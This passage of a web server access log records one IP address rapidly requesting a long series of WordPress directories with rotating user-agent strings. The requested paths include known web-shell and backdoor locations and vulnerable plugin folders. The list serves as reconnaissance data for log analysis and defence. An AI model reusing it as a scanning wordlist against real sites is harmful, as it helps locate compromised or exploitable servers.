"GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:11 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:11 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:12 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:12 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:12 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:12 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:13 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:13 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:13 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:13 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:46:13 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:14 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:14 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:14 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:14 +0300] "GET /wp-admin/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:14 +0300] "GET /assets/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:15 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:15 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:15 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:15 +0300] "GET /wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:16 +0300] "GET /wp-admin/js/widget/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:16 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:16 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:16 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:16 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:17 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:17 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:17 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:17 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:17 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:18 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:18 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:46:18 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:18 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:18 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:46:19 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:19 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:19 +0300] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:46:19 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:20 +0300] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:20 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:20 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:20 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:20 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:21 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:21 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:21 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:21 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:22 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:22 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:46:22 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:22 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:22 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:23 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:46:23 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:23 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:23 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:23 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:24 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:24 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:24 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:24 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:24 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:25 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:46:25 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:25 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:25 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:25 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:26 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:26 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:26 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:26 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:27 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:46:27 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:27 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:27 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:27 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:28 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:28 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:28 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:46:28 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:29 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:46:29 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:46:29 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:29 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:29 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:46:30 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:30 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:30 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:30 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:30 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:46:31 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:31 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:31 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:31 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:31 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:32 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:32 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:32 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:32 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:46:32 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:33 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:46:33 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:33 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:46:33 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:46:33 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:34 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:34 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:34 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:34 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:46:34 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 